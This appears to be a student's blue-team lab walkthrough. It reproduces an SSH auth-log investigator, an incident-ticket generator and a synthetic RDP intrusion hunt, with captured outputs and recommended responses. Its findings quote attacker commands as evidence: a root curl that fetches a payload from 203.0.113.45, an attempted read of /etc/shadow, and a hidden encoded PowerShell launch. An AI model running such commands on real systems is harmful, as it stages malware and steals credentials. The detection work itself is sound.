GraySentinel Cyber Defence Lab · Day 1 · Candidate 13 · Blue TeamEswar Mahalingam — Project 01 & 02 · Live step-by-step checker

Reproduce and verify both projects in 9 steps (plus setup). Each step shows the exact command, the expected result, and the real captured terminal output from evidence/terminal_output.txt. Tick each step as you verify it — progress is saved in your browser.

0 / 9 verified
Repo READMEP01 READMEP02 READMERunbook .mdRDP war room (05 Oct)Ghost Admin (06 Oct)Cloud Token (06 Oct)Broken Pipeline (06 Oct)Silent Cred Theft (08 Oct)Consent Trap (08 Oct)Ghost Session (08 Oct)Reset ticks
0
SETUP

Clone — nothing to install (Python 3.8+ stdlib only)

git clone https://github.com/Eswar5313/GraySentinel-DSOU-45Day-2026.git
cd GraySentinel-DSOU-45Day-2026/graysentinel-day1

All data is synthetic and sanitised (RFC-5737 ranges). Safe to run anywhere.

1
P01

Generate the synthetic lab log

Command
cd project-01 && python3 data/make_lab_data.py
Expected result

wrote auth.log with 135 lines

Show actual captured output
$ python3 data/make_lab_data.py
wrote auth.log with 135 lines
2
P01

Inspect the raw log

Command
wc -l data/auth.log && head -5 data/auth.log
Expected result

135 lines; sshd/sudo/su/useradd/usermod events from soc-lab-01

Show actual captured output
$ wc -l data/auth.log && head -5 data/auth.log
135 data/auth.log
Sep 13 22:16:00 soc-lab-01 sshd[4101]: Accepted publickey for ops from 192.0.2.52 port 51295 ssh2: RSA SHA256:LabKeyops
Sep 13 22:16:01 soc-lab-01 sshd[4104]: pam_unix(sshd:session): session opened for user ops by (uid=0)
Sep 13 22:28:00 soc-lab-01 sshd[4105]: Accepted publickey for arjun from 192.0.2.44 port 49328 ssh2: RSA SHA256:LabKeyarjun
Sep 13 22:28:01 soc-lab-01 sshd[4108]: pam_unix(sshd:session): session opened for user arjun by (uid=0)
Sep 13 22:36:00 soc-lab-01 sshd[4109]: Accepted publickey for deploy from 192.0.2.24 port 43460 ssh2: RSA SHA256:LabKeydeploy
3
P01

Run the investigation

Command
python3 src/auth_investigator.py --log data/auth.log --out evidence/findings.json --md evidence/findings.md
Expected result

10 findings, 2 CRITICAL (F03 success-after-failures, F10 sudo-group grant); exit code 2

Show actual captured output
$ python3 src/auth_investigator.py --log data/auth.log --out evidence/findings.json --md evidence/findings.md
Parsed 135 events from data/auth.log
Event mix: {'ssh_ok': 26, 'other': 20, 'sudo_ok': 3, 'ssh_invalid_user': 24, 'ssh_fail': 55, 'useradd': 1, 'usermod': 1, 'sudo_fail': 4, 'su_attempt': 1}

10 finding(s):
  [CRITICAL] F03  Successful login after failure burst (likely compromised credential) src=203.0.113.45    n=38
  [CRITICAL] F10  Account added to privileged group                              src=local           n=1
  [HIGH    ] F01  SSH brute force (many failures from one source)                src=203.0.113.45    n=37
  [HIGH    ] F09  New local account created                                      src=local           n=1
  [HIGH    ] F08  Privileged command fetched/staged a remote payload             src=local           n=1
  [HIGH    ] F02  Password spraying (one source, many accounts)                  src=198.51.100.77   n=16
  [HIGH    ] F06  Repeated failed sudo (local privilege-escalation probing)      src=local           n=4
  [MEDIUM  ] F04  Privileged account login outside business hours                src=203.0.113.45    n=1
  [MEDIUM  ] F05  Username enumeration / invalid-user probing                    src=198.51.100.77   n=16
  [MEDIUM  ] F07  su to root attempted                                           src=local           n=1

JSON  -> evidence/findings.json
MD    -> evidence/findings.md
exit code: 2 (2 = CRITICAL finding present)
4
P01

Run the 13 unit tests

Command
python3 -m unittest -v tests.test_auth_investigator
Expected result

Ran 13 tests … OK

Show actual captured output
$ python3 -m unittest -v tests.test_auth_investigator
test_account_manipulation (tests.test_auth_investigator.DetectionTests.test_account_manipulation) ... ok
test_brute_force_fires_at_threshold (tests.test_auth_investigator.DetectionTests.test_brute_force_fires_at_threshold) ... ok
test_findings_sorted_by_severity (tests.test_auth_investigator.DetectionTests.test_findings_sorted_by_severity) ... ok
test_off_hours_root_login (tests.test_auth_investigator.DetectionTests.test_off_hours_root_login) ... ok
test_password_spray (tests.test_auth_investigator.DetectionTests.test_password_spray) ... ok
test_success_after_burst_is_critical (tests.test_auth_investigator.DetectionTests.test_success_after_burst_is_critical) ... ok
test_success_outside_window_not_linked (tests.test_auth_investigator.DetectionTests.test_success_outside_window_not_linked) ... ok
test_sudo_failures_and_su (tests.test_auth_investigator.DetectionTests.test_sudo_failures_and_su) ... ok
test_two_typos_are_not_an_incident (tests.test_auth_investigator.DetectionTests.test_two_typos_are_not_an_incident) ... ok
test_empty_file (tests.test_auth_investigator.ParseTests.test_empty_file) ... ok
test_garbage_lines_are_skipped_not_fatal (tests.test_auth_investigator.ParseTests.test_garbage_lines_are_skipped_not_fatal) ... [warn] 2 line(s) did not match the syslog auth format and were skipped
ok
test_invalid_user_flag (tests.test_auth_investigator.ParseTests.test_invalid_user_flag) ... ok
test_parses_failed_and_accepted (tests.test_auth_investigator.ParseTests.test_parses_failed_and_accepted) ... ok

----------------------------------------------------------------------
Ran 13 tests in 0.011s

OK
5
P01

Edge cases: tuned thresholds + garbage input

Command
python3 src/auth_investigator.py --log data/auth.log --bf-threshold 50 --spray-users 20 --quiet
printf 'garbage line\n' > /tmp/bad.log && python3 src/auth_investigator.py --log /tmp/bad.log
Expected result

CRITICAL still fires (exit 2); garbage input warned + skipped (exit 0), no crash

Show actual captured output
$ python3 src/auth_investigator.py --log data/auth.log --bf-threshold 50 --spray-users 20 --quiet; echo exit=$?
exit=2  (tuned thresholds: brute-force/spray suppressed, CRITICAL still fires)

$ printf "garbage line

" > /tmp/bad.log && python3 src/auth_investigator.py --log /tmp/bad.log
[warn] 1 line(s) did not match the syslog auth format and were skipped
Parsed 0 events from /tmp/bad.log
Event mix: {}

0 finding(s):
exit=0  (edge case: garbage input handled, no crash)
6
P02

Generate the incident ticket from Project 01 findings

Command
cd ../project-02 && python3 src/incident_summary.py --findings data/findings.json --md evidence/incident_summary.md --html evidence/incident_summary.html --json evidence/incident_summary.json
Expected result

GS-INC-…-701 · CRITICAL / P1 · risk 100/100 · 23 IOCs · 9 ATT&CK techniques · 'Chain: …' narrative

Show actual captured output
$ python3 src/incident_summary.py --findings data/findings.json --md evidence/incident_summary.md --html evidence/incident_summary.html --json evidence/incident_summary.json
Incident GS-INC-20260915-805  severity=CRITICAL priority=P1 risk=100/100
Findings: {'CRITICAL': 2, 'HIGH': 5, 'MEDIUM': 3}   IOCs: 23   ATT&CK: 9 techniques
Executive summary:
  - 10 security findings were raised on the monitored host between 00:05 and 09:30 on 2026-09-14.
  - Overall severity is CRITICAL (priority P1); risk score 100/100; confidence: HIGH.
  - The highest-impact finding is: Successful login after failure burst (likely compromised credential) (203.0.113.45).
Narrative:
  * Chain: credential guessing → successful root login → new account + sudo grant (persistence). This is a confirmed intrusion, not a scan.
  * From 203.0.113.45: the attacker at 203.0.113.45 — 00:05 — successful login after failure burst (likely compromised credential) (admin, root); then 00:05 — ssh brute force (many failures from one source) (admin, root); then 00:06 — privileged account login outside business hours (root).
  * From local: an actor already on the host — 00:08 — new local account created (svc_backup); then 00:09 — account added to privileged group (svc_backup); then 00:09 — privileged command fetched/staged a remote payload (root); then 09:00 — repeated failed sudo (local privilege-escalation probing) (arjun); then 09:30 — su to root attempted (arjun).
  * From 198.51.100.77: the attacker at 198.51.100.77 — 01:40 — password spraying (one source, many accounts) (alice, bob, carol); then 01:40 — username enumeration / invalid-user probing (alice, bob, carol).
MD   -> evidence/incident_summary.md
HTML -> evidence/incident_summary.html
JSON -> evidence/incident_summary.json
7
P02

Generic CSV input works too

Command
python3 src/incident_summary.py --csv data/alerts_sample.csv --md evidence/incident_summary_from_csv.md
Expected result

HIGH / P2 from 3 alerts; no 'Chain:' line

Show actual captured output
$ python3 src/incident_summary.py --csv data/alerts_sample.csv --md evidence/incident_summary_from_csv.md
Incident GS-INC-20260915-977  severity=HIGH priority=P2 risk=55/100
Findings: {'HIGH': 1, 'MEDIUM': 1, 'LOW': 1}   IOCs: 4   ATT&CK: 3 techniques
Executive summary:
  - 3 security findings were raised on the monitored host between 02:09 and 03:02 on 2026-09-14.
  - Overall severity is HIGH (priority P2); risk score 55/100; confidence: MEDIUM.
  - The highest-impact finding is: SSH brute force (many failures from one source) (203.0.113.200).
Narrative:
  * From 203.0.113.200: the attacker at 203.0.113.200 — 02:09 — username enumeration / invalid-user probing (test, guest, oracle); then 02:10 — ssh brute force (many failures from one source) (root, admin).
  * From 192.0.2.30: the attacker at 192.0.2.30 — 03:02 — privileged account login outside business hours (root).
MD   -> evidence/incident_summary_from_csv.md
8
P02

Run the 12 unit tests

Command
python3 -m unittest -v tests.test_incident_summary
Expected result

Ran 12 tests … OK

Show actual captured output
$ python3 -m unittest -v tests.test_incident_summary
test_attack_chain_is_named_when_bf_then_success (tests.test_incident_summary.CorrelationAndIOCs.test_attack_chain_is_named_when_bf_then_success) ... ok
test_iocs_dedupe_ips_and_flag_commands (tests.test_incident_summary.CorrelationAndIOCs.test_iocs_dedupe_ips_and_flag_commands) ... ok
test_playbook_lookup (tests.test_incident_summary.CorrelationAndIOCs.test_playbook_lookup) ... ok
test_cli_writes_files (tests.test_incident_summary.EndToEnd.test_cli_writes_files) ... /home/claude/gs/graysentinel-day1/project-02/tests/../src/incident_summary.py:271: ResourceWarning: unclosed file <_io.TextIOWrapper name='/tmp/tmp8897ufrl/o.md' mode='w' encoding='utf-8'>
  open(a.md, "w").write(to_markdown(inc))
ResourceWarning: Enable tracemalloc to get the object allocation traceback
/home/claude/gs/graysentinel-day1/project-02/tests/../src/incident_summary.py:275: ResourceWarning: unclosed file <_io.TextIOWrapper name='/tmp/tmp8897ufrl/o.json' mode='w' encoding='utf-8'>
  json.dump(inc, open(a.json, "w"), indent=2, default=str)
ResourceWarning: Enable tracemalloc to get the object allocation traceback
/home/claude/gs/graysentinel-day1/project-02/tests/test_incident_summary.py:99: ResourceWarning: unclosed file <_io.TextIOWrapper name='/tmp/tmp8897ufrl/o.json' mode='r' encoding='utf-8'>
  self.assertEqual(json.load(open(js))["severity"], "CRITICAL")
ResourceWarning: Enable tracemalloc to get the object allocation traceback
ok
test_csv_input (tests.test_incident_summary.EndToEnd.test_csv_input) ... ok
test_empty_findings_do_not_crash (tests.test_incident_summary.EndToEnd.test_empty_findings_do_not_crash) ... ok
test_json_input_full_build (tests.test_incident_summary.EndToEnd.test_json_input_full_build) ... ok
test_renderers_produce_all_sections (tests.test_incident_summary.EndToEnd.test_renderers_produce_all_sections) ... ok
test_confidence_levels (tests.test_incident_summary.SeverityLogic.test_confidence_levels) ... ok
test_overall_severity_is_worst_finding (tests.test_incident_summary.SeverityLogic.test_overall_severity_is_worst_finding) ... ok
test_priority_mapping (tests.test_incident_summary.SeverityLogic.test_priority_mapping) ... ok
test_risk_score_bounds_and_monotonic (tests.test_incident_summary.SeverityLogic.test_risk_score_bounds_and_monotonic) ... ok

----------------------------------------------------------------------
Ran 12 tests in 0.009s

OK
9
P02

Read the ticket

Command
head -20 evidence/incident_summary.md  (or open evidence/incident_summary.html)
Expected result

Priority P1, SLA 15 min, notify SOC Lead + IR Manager + system owner

Show actual captured output
$ head -20 evidence/incident_summary.md
# SOC Incident Summary — GS-INC-20260915-805

| Field | Value |
|---|---|
| **Severity / Priority** | **CRITICAL / P1** |
| Risk score | 100 / 100 |
| Confidence | HIGH — multiple independent findings corroborate a single attack chain |
| Response SLA | 15 min |
| Notify | SOC Lead + IR Manager + system owner; page on-call |
| Activity window | 2026-09-14 00:05:01 → 2026-09-14 09:30:00 |
| Events analysed | 135 |
| Findings | CRITICAL: 2, HIGH: 5, MEDIUM: 3 |
| Analyst | Eswar Mahalingam (Blue Team, GS-STU-DSOU-2026-039A) |
| Generated | 2026-09-15 01:26:43 |
| Source | `data/findings.json` |

## 1. Executive summary

- 10 security findings were raised on the monitored host between 00:05 and 09:30 on 2026-09-14.
- Overall severity is CRITICAL (priority P1); risk score 100/100; confidence: HIGH.

Project 01 — findings.md (generated by the tool)

# Authentication Log Investigation — Findings **Source log:** `data/auth.log` **Events parsed:** 135 **Time range:** 2026-09-13 22:16:00 → 2026-09-14 11:11:00 **Findings:** 10 (CRITICAL: 2, HIGH: 5, MEDIUM: 3) ## Event mix | Type | Count | |---|---| | ssh_fail | 55 | | ssh_ok | 26 | | ssh_invalid_user | 24 | | other | 20 | | sudo_fail | 4 | | sudo_ok | 3 | | useradd | 1 | | usermod | 1 | | su_attempt | 1 | ## Top source IPs | IP | Events | |---|---| | 203.0.113.45 | 46 | | 198.51.100.77 | 32 | | 192.0.2.14 | 5 | | 192.0.2.44 | 2 | | 192.0.2.32 | 2 | ## Findings | ID | Severity | Title | Source | Users | Events | First seen | Last seen | ATT&CK | |---|---|---|---|---|---|---|---|---| | F03 | **CRITICAL** | Successful login after failure burst (likely compromised credential) | `203.0.113.45` | admin, root | 38 | 00:05:01 | 00:06:42 | T1078 Valid Accounts | | F10 | **CRITICAL** | Account added to privileged group | `local` | svc_backup | 1 | 00:09:02 | 00:09:02 | T1098 Account Manipulation | | F01 | **HIGH** | SSH brute force (many failures from one source) | `203.0.113.45` | admin, root | 37 | 00:05:01 | 00:06:39 | T1110.001 Password Guessing | | F09 | **HIGH** | New local account created | `local` | svc_backup | 1 | 00:08:42 | 00:08:42 | T1136.001 Create Account: Local | | F08 | **HIGH** | Privileged command fetched/staged a remote payload | `local` | root | 1 | 00:09:42 | 00:09:42 | T1105 Ingress Tool Transfer | | F02 | **HIGH** | Password spraying (one source, many accounts) | `198.51.100.77` | alice, bob, carol, dave… | 16 | 01:40:33 | 01:49:19 | T1110.003 Password Spraying | | F06 | **HIGH** | Repeated failed sudo (local privilege-escalation probing) | `local` | arjun | 4 | 09:00:15 | 09:01:00 | T1548.003 Sudo and Sudo Caching | | F04 | **MEDIUM** | Privileged account login outside business hours | `203.0.113.45` | root | 1 | 00:06:42 | 00:06:42 | T1078 Valid Accounts | | F05 | **MEDIUM** | Username enumeration / invalid-user probing | `198.51.100.77` | alice, bob, carol, dave… | 16 | 01:40:33 | 01:49:19 | T1087 Account Discovery | | F07 | **MEDIUM** | su to root attempted | `local` | arjun | 1 | 09:30:00 | 09:30:00 | T1548 Abuse Elevation Control Mechanism | ### F03 · CRITICAL · Successful login after failure burst (likely compromised credential) 'root' accepted via password from 203.0.113.45 after 37 failures in the preceding 10 min. Treat the account and host as compromised until proven otherwise. - Source: `203.0.113.45` · Users: admin, root - Evidence lines in log: 27, 28, 29, 30, 31, 33, 34, 35, 36, 37, 39, 40, 41, 42, 43… ### F10 · CRITICAL · Account added to privileged group 'svc_backup' added to 'sudo' — backdoor admin pattern. - Source: `local` · Users: svc_backup - Evidence lines in log: 74 ### F01 · HIGH · SSH brute force (many failures from one source) 37 failed passwords in 1.6 min (22.7/min); primary target 'root' (29 attempts). - Source: `203.0.113.45` · Users: admin, root - Evidence lines in log: 27, 28, 29, 30, 31, 33, 34, 35, 36, 37, 39, 40, 41, 42, 43… ### F09 · HIGH · New local account created Account 'svc_backup' created — verify against change tickets. - Source: `local` · Users: svc_backup - Evidence lines in log: 73 ### F08 · HIGH · Privileged command fetched/staged a remote payload 'root' ran as root: /usr/bin/curl -s http://203.0.113.45/x.sh -o /tmp/x.sh - Source: `local` · Users: root - Evidence lines in log: 75 ### F02 · HIGH · Password spraying (one source, many accounts) 16 failures across 16 distinct usernames, max 1 attempt(s) per user — the signature of spraying a single password against a user list to stay under lockout thresholds. - Source: `198.51.100.77` · Users: alice, bob, carol, dave, erin, frank, grace, heidi, ivan, judy, mallory, oscar, peggy, trent, victor, walter - Evidence lines in log: 88, 90, 92, 94, 96, 98, 100, 102, 104, 108, 110, 112, 114, 116, 118… ### F06 · HIGH · Repeated failed sudo (local privilege-escalation probing) 'arjun' failed sudo 12 times; last command attempted: /bin/cat /etc/shadow - Source: `local` · Users: arjun - Evidence lines in log: 124, 125, 126, 127 ### F04 · MEDIUM · Privileged account login outside business hours 'root' logged in at 00:06 (allowed window 08:00–20:00). - Source: `203.0.113.45` · Users: root - Evidence lines in log: 71 ### F05 · MEDIUM · Username enumeration / invalid-user probing 16 non-existent usernames tried: alice, bob, carol, dave, erin, frank, grace, heidi…. - Source: `198.51.100.77` · Users: alice, bob, carol, dave, erin, frank, grace, heidi, ivan, judy, mallory, oscar, peggy, trent, victor, walter - Evidence lines in log: 87, 89, 91, 93, 95, 97, 99, 101, 103, 107, 109, 111, 113, 115, 117… ### F07 · MEDIUM · su to root attempted 'arjun' attempted 'su root' on pts/1. - Source: `local` · Users: arjun - Evidence lines in log: 128

Project 02 — incident_summary.md (generated by the tool)

Open the HTML ticket

# SOC Incident Summary — GS-INC-20260915-805 | Field | Value | |---|---| | **Severity / Priority** | **CRITICAL / P1** | | Risk score | 100 / 100 | | Confidence | HIGH — multiple independent findings corroborate a single attack chain | | Response SLA | 15 min | | Notify | SOC Lead + IR Manager + system owner; page on-call | | Activity window | 2026-09-14 00:05:01 → 2026-09-14 09:30:00 | | Events analysed | 135 | | Findings | CRITICAL: 2, HIGH: 5, MEDIUM: 3 | | Analyst | Eswar Mahalingam (Blue Team, GS-STU-DSOU-2026-039A) | | Generated | 2026-09-15 01:26:43 | | Source | `data/findings.json` | ## 1. Executive summary - 10 security findings were raised on the monitored host between 00:05 and 09:30 on 2026-09-14. - Overall severity is CRITICAL (priority P1); risk score 100/100; confidence: HIGH. - The highest-impact finding is: Successful login after failure burst (likely compromised credential) (203.0.113.45). ## 2. Attack narrative 1. Chain: credential guessing → successful root login → new account + sudo grant (persistence). This is a confirmed intrusion, not a scan. 2. From 203.0.113.45: the attacker at 203.0.113.45 — 00:05 — successful login after failure burst (likely compromised credential) (admin, root); then 00:05 — ssh brute force (many failures from one source) (admin, root); then 00:06 — privileged account login outside business hours (root). 3. From local: an actor already on the host — 00:08 — new local account created (svc_backup); then 00:09 — account added to privileged group (svc_backup); then 00:09 — privileged command fetched/staged a remote payload (root); then 09:00 — repeated failed sudo (local privilege-escalation probing) (arjun); then 09:30 — su to root attempted (arjun). 4. From 198.51.100.77: the attacker at 198.51.100.77 — 01:40 — password spraying (one source, many accounts) (alice, bob, carol); then 01:40 — username enumeration / invalid-user probing (alice, bob, carol). ## 3. Timeline | Time | End | ID | Severity | Finding | Source | Accounts | Events | |---|---|---|---|---|---|---|---| | 00:05:01 | 00:06:42 | F03 | CRITICAL | Successful login after failure burst (likely compromised credential) | `203.0.113.45` | admin, root | 38 | | 00:05:01 | 00:06:39 | F01 | HIGH | SSH brute force (many failures from one source) | `203.0.113.45` | admin, root | 37 | | 00:06:42 | 00:06:42 | F04 | MEDIUM | Privileged account login outside business hours | `203.0.113.45` | root | 1 | | 00:08:42 | 00:08:42 | F09 | HIGH | New local account created | `local` | svc_backup | 1 | | 00:09:02 | 00:09:02 | F10 | CRITICAL | Account added to privileged group | `local` | svc_backup | 1 | | 00:09:42 | 00:09:42 | F08 | HIGH | Privileged command fetched/staged a remote payload | `local` | root | 1 | | 01:40:33 | 01:49:19 | F02 | HIGH | Password spraying (one source, many accounts) | `198.51.100.77` | alice, bob, carol… | 16 | | 01:40:33 | 01:49:19 | F05 | MEDIUM | Username enumeration / invalid-user probing | `198.51.100.77` | alice, bob, carol… | 16 | | 09:00:15 | 09:01:00 | F06 | HIGH | Repeated failed sudo (local privilege-escalation probing) | `local` | arjun | 4 | | 09:30:00 | 09:30:00 | F07 | MEDIUM | su to root attempted | `local` | arjun | 1 | ## 4. Indicators of Compromise | Type | Value | Seen in | Recommended action | |---|---|---|---| | IPv4 | `203.0.113.45` | Successful login after failure burst (likely compromised credential) | Block at perimeter; add to threat-intel watchlist; search other logs | | Account | `admin` | Successful login after failure burst (likely compromised credential) | Disable + reset credential; review sessions | | Account | `root` | Successful login after failure burst (likely compromised credential) | Disable + reset credential; review sessions | | Account | `svc_backup` | Account added to privileged group | Disable + reset credential; review sessions | | Command | `/usr/bin/curl -s http://203.0.113.45/x.sh -o /tmp/x.sh` | Privileged command fetched/staged a remote payload | Check for dropped files; hash and sandbox any payload | | IPv4 | `198.51.100.77` | Password spraying (one source, many accounts) | Block at perimeter; add to threat-intel watchlist; search other logs | | Account | `alice` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `bob` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `carol` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `dave` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `erin` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `frank` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `grace` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `heidi` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `ivan` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `judy` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `mallory` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `oscar` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `peggy` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `trent` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `victor` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `walter` | Password spraying (one source, many accounts) | Force password reset; monitor | | Account | `arjun` | Repeated failed sudo (local privilege-escalation probing) | Force password reset; monitor | ## 5. MITRE ATT&CK - T1078 Valid Accounts - T1087 Account Discovery - T1098 Account Manipulation - T1105 Ingress Tool Transfer - T1110.001 Password Guessing - T1110.003 Password Spraying - T1136.001 Create Account: Local - T1548 Abuse Elevation Control Mechanism - T1548.003 Sudo and Sudo Caching ## 6. Recommended actions per finding | ID | Sev | Finding | Action | |---|---|---|---| | F03 | CRITICAL | Successful login after failure burst (likely compromised credential) | Isolate host from network; disable/reset the account; kill active sessions (`who`, `pkill -KILL -u <user>`); preserve /var/log and shell history; hunt for follow-on activity from the same source IP. | | F10 | CRITICAL | Account added to privileged group | Remove the account from the group immediately (`gpasswd -d <user> sudo`); check /etc/sudoers.d for drop-ins; audit all commands run by the account. | | F01 | HIGH | SSH brute force (many failures from one source) | Block source IP at perimeter firewall/fail2ban; enforce key-only SSH (`PasswordAuthentication no`); rate-limit port 22; check whether the IP appears in other logs. | | F09 | HIGH | New local account created | Confirm against change management; if unapproved, lock (`usermod -L`) and expire the account; check for SSH keys planted in its home directory. | | F08 | HIGH | Privileged command fetched/staged a remote payload | Hash and quarantine the dropped file (`sha256sum /tmp/x.sh`); check crontab/systemd for persistence; block the payload host; do NOT execute the file. | | F02 | HIGH | Password spraying (one source, many accounts) | Block source IP; force password reset for any account that later succeeded; enable account lockout / MFA; review password policy for the sprayed user list. | | F06 | HIGH | Repeated failed sudo (local privilege-escalation probing) | Interview the user's manager; check whether the account is shared; review sudoers grants for least privilege; enable sudo I/O logging. | | F04 | MEDIUM | Privileged account login outside business hours | Confirm with the account owner; if unconfirmed, treat as part of the compromise chain; add a time-based alert rule for privileged logins. | | F05 | MEDIUM | Username enumeration / invalid-user probing | Block source IP; ensure sshd returns identical responses for valid/invalid users (default in modern OpenSSH); add IP to watchlist. | | F07 | MEDIUM | su to root attempted | Verify with the user; if unexplained, treat as credential misuse; restrict `su` to the wheel group in /etc/pam.d/su. | ## 7. Response checklist (NIST SP 800-61) **Containment** - [ ] Block attacker IPs at firewall - [ ] Isolate affected host from production VLAN - [ ] Disable compromised + rogue accounts - [ ] Kill active attacker sessions **Eradication** - [ ] Remove rogue account and sudo grant - [ ] Delete dropped files (/tmp/x.sh) after hashing - [ ] Rotate root and all local passwords; enforce SSH keys - [ ] Patch and re-baseline sshd/sudo configuration **Recovery** - [ ] Restore host from known-good image if root was compromised - [ ] Re-enable monitoring; add detection rules for the observed pattern - [ ] Monitor for 14 days for re-entry from the same IOCs **Lessons learned** - [ ] Why was password auth for root enabled? - [ ] Why did 37 failures not trigger fail2ban? - [ ] Add off-hours privileged-login alert ## 8. Escalation decision Priority **P1** → notify **SOC Lead + IR Manager + system owner; page on-call** within **15 min**. Open a ticket, attach this summary and the raw log, and hand over with the checklist above.

Screenshots (rendered from the captured runs)

Project 01

P01 runP01 testsP01 edge cases

Project 02

P02 runP02 testsP02 mdP02 html ticket

🔥 SOC War Room · 05 Oct 2026 — The Silent RDP Login (HR-WS-017)

Verdict: H1 COMPROMISED · H2 REJECTED · H3 CONFIRMED → P1 contain · 18/18 tests pass · all data synthetic (RFC-5737)

Triageananya.rao from 203.0.113.45 (DESKTOP-9KX2TQ) · 23 failed → Type 10 success 03:23:02 IST · no MFA · 0 RDP in 30-day baseline · exposed via NAT-LEGACY-HR-3389
Why compromisedSame IP had the correct password in Entra on 3 Oct (2 MFA pushes denied) · user not on VPN · non-RDP HR user · user denies connecting
What the attacker didHidden -Enc PowerShell → whoami / nltest / Domain Admins → LDAP DC-01 → Type 3 + SMB on FS-HR-01 → 3 payroll files → POST to first-seen 198.51.100.23:443
DetectionSuspicious RDP-to-PowerShell Chain — unusual Type 10 + evasive PowerShell same host/user ≤15 min → HIGH, escalators → CRITICAL. Silent on 5 legit helpdesk sessions.
ContainmentIsolate (keep RAM) · kill session + delete NAT rule · disable, revoke, reset · block IPs · preserve logs/tree/net · hunt user/IP/blob · image · inform HR Head + DPO
Senior answerCorrelated chain > single login: identity + behaviour + process + network context raise confidence and remove admin/remote-work false positives.

Run it

cd rdp-silent-login
python3 make_rdp_lab_data.py
python3 rdp_chain_hunter.py rdp_events_SYNTHETIC.csv auth_context_SYNTHETIC.json --json hunt_results.json
python3 -m unittest test_rdp_chain_hunter -v
Captured hunter output
==============================================================================
GraySentinel DSOU · RDP chain hunt · 6 RDP session(s) reviewed
==============================================================================

[CRITICAL] ananya.rao → HR-WS-017 from 203.0.113.45 (DESKTOP-9KX2TQ) at 2026-10-04T21:53:02Z  detection_fired=True
  -- Mission 01 triage --
   failed_attempts      23
   normally_uses_rdp    False
   rdp_baseline_30d     0
   mfa_on_rdp           False
   privileges           ['SeDebugPrivilege', 'SeBackupPrivilege', 'SeTakeOwnershipPrivilege', 'SeImpersonatePrivilege']
   first_process        rdpclip.exe
   powershell_cmdline   powershell.exe -NoP -NonI -W Hidden -Enc JABzAD0AJwBcAFwARgBTAC0ASABSAC0AMAAxAFwASABSACQAJwA...
   pwd_last_set         2026-06-11T05:02:00Z
   idp_hits_same_ip     2
   same_ip_other_hosts  {'HR-WS-021': {'fail': 6, 'success': 0}, 'FIN-WS-004': {'fail': 4, 'success': 0}}
   exposure            NAT-LEGACY-HR-3389 203.0.113.200:3389 → 10.20.40.17:3389 (temporary vendor access, never removed)
  -- Mission 02 hypotheses --
   H1 COMPROMISED   23 failed RDP attempts from same source before success | external source 203.0.113.45 (DESKTOP-9KX2TQ) | no Type-10 logon by this user in 30-day baseline | account not authorised for RDP | same IP already had the correct password in IdP (2 MFA-denied sign-ins) | user had no VPN session at login time
   H2 REJECTED      none of the admin indicators present
   H3 CONFIRMED     obfuscated/hidden PowerShell: -enc, -noni, -nop, -w hidden | 3 discovery commands | internal connections: 10.20.0.10:389, 10.20.30.15:445 | onward auth: FS-HR-01 (Type 3) | 3 sensitive file accesses | external egress: 198.51.100.23:443
  -- Mission 03 timeline --
   2026-10-04 21:47:10Z  4625     failed RDP administrator from 203.0.113.45
   2026-10-04 21:52:18Z  4625     …23 failures total (last)
   2026-10-04 21:53:02Z  4624/10  RDP success ananya.rao from 203.0.113.45 (DESKTOP-9KX2TQ)
   2026-10-04 21:53:02Z  4672     privileges: SeDebugPrivilege;SeBackupPrivilege;SeTakeOwnershipPrivilege;SeImpersonatePrivilege
   2026-10-04 21:53:11Z  4688     svchost.exe → rdpclip.exe: rdpclip
   2026-10-04 21:54:31Z  4688     explorer.exe → cmd.exe: cmd.exe
   2026-10-04 21:54:40Z  4688     cmd.exe → powershell.exe: powershell.exe -NoP -NonI -W Hidden -Enc JABzAD0AJwBcAFwARgBTAC0ASABSA
   2026-10-04 21:54:40Z  1        cmd.exe → powershell.exe: powershell.exe -NoP -NonI -W Hidden -Enc JABzAD0AJwBcAFwARgBTAC0ASABSA
   2026-10-04 21:54:41Z  4104     script block: whoami /all; nltest /dclist:corp.example.com; net group "Domain Admins…
   2026-10-04 21:54:45Z  1        powershell.exe → whoami.exe: whoami /all
   2026-10-04 21:54:49Z  1        powershell.exe → nltest.exe: nltest /dclist:corp.example.com
   2026-10-04 21:54:53Z  1        powershell.exe → net.exe: net group "Domain Admins" /domain
   2026-10-04 21:55:11Z  Sysmon3  powershell.exe → 10.20.0.10:389 DC-01 LDAP
   2026-10-04 21:55:36Z  Sysmon3  powershell.exe → 10.20.30.15:445 FS-HR-01 SMB
   2026-10-04 21:55:41Z  4624/3   ananya.rao onward logon on FS-HR-01 from 10.20.40.17
   2026-10-04 21:55:43Z  5140     FS-HR-01: Share=\\*\HR$
   2026-10-04 21:55:45Z  5145     FS-HR-01: HR$\Payroll\Payroll_Q3_2026.xlsx;Access=ReadData
   2026-10-04 21:55:46Z  5145     FS-HR-01: HR$\Payroll\Salary_Revision_FY27.xlsx;Access=ReadData
   2026-10-04 21:55:47Z  5145     FS-HR-01: HR$\Payroll\Bank_Mandates_HR.xlsx;Access=ReadData
   2026-10-04 21:56:01Z  Sysmon3  powershell.exe → 198.51.100.23:443 cdn-sync.example.net (first seen)
  -- Mission 05 lateral movement --
   SMB→ ['10.20.30.15']  DC→ ['10.20.0.10']  onward logons→ ['FS-HR-01']
   sensitive files: 3  same IP elsewhere: {'HR-WS-021': {'fail': 6, 'success': 0}, 'FIN-WS-004': {'fail': 4, 'success': 0}}

[INFO    ] it.helpdesk → HR-WS-009 from 10.20.5.25 (JUMP-IT-01) at 2026-09-05T06:00:00Z  detection_fired=False
  H2 legitimate admin access: approved admin source; change ticket CHG-4471; user is RDP-authorised

